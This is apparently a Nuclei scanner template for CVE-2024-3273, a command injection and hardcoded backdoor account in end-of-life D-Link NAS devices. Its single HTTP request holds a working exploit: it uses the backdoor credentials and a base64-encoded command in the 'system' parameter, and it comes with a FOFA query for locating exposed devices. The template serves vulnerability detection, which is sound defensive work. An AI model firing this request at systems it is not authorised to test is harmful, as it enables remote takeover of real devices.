id: CVE-2024-3273
info:
  name: D-Link Network Attached Storage - Command Injection and Backdoor Account
  author: pussycat0x
  severity: critical
  description: |
    UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.
  impact: |
    Attackers can execute arbitrary commands on D-Link NAS devices using hardcoded credentials and command injection.
  remediation: |
    Retire and replace the affected D-Link NAS devices as they are end-of-life and no longer supported.
  reference:
    - https://github.com/netsecfish/dlink
    - https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/#google_vignette
    - https://news.ycombinator.com/item?id=39960107
    - https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
    - https://vuldb.com/?ctiid.259284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3273
    cwe-id: CWE-77
    cpe: cpe:2.3:o:dlink:dns-320l_firmware:-:*:*:*:*:*:*:*
    epss-score: 0.99997
    epss-percentile: 0.99988
  metadata:
    verified: true
    vendor: dlink
    product: "dns-320l_firmware"
    fofa-query: "app=\"D_Link-DNS-ShareCenter\""
    max-request: 1
  tags: cve,cve2024,dlink,nas,kev,vkev,vuln
variables:
  cmd: "id"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system={{base64(cmd)}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<auth_state>1</auth_state>"

      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d8f97b3789908f2811f0c46261bd81af9bcc7068e0590bfe7180a6e1b9363ef20221009e963324e7494fb899e541ca4d8f63531857c3c72f1e8422602aef3adeb75aed:922c64590222798bb761d5b6d8e72950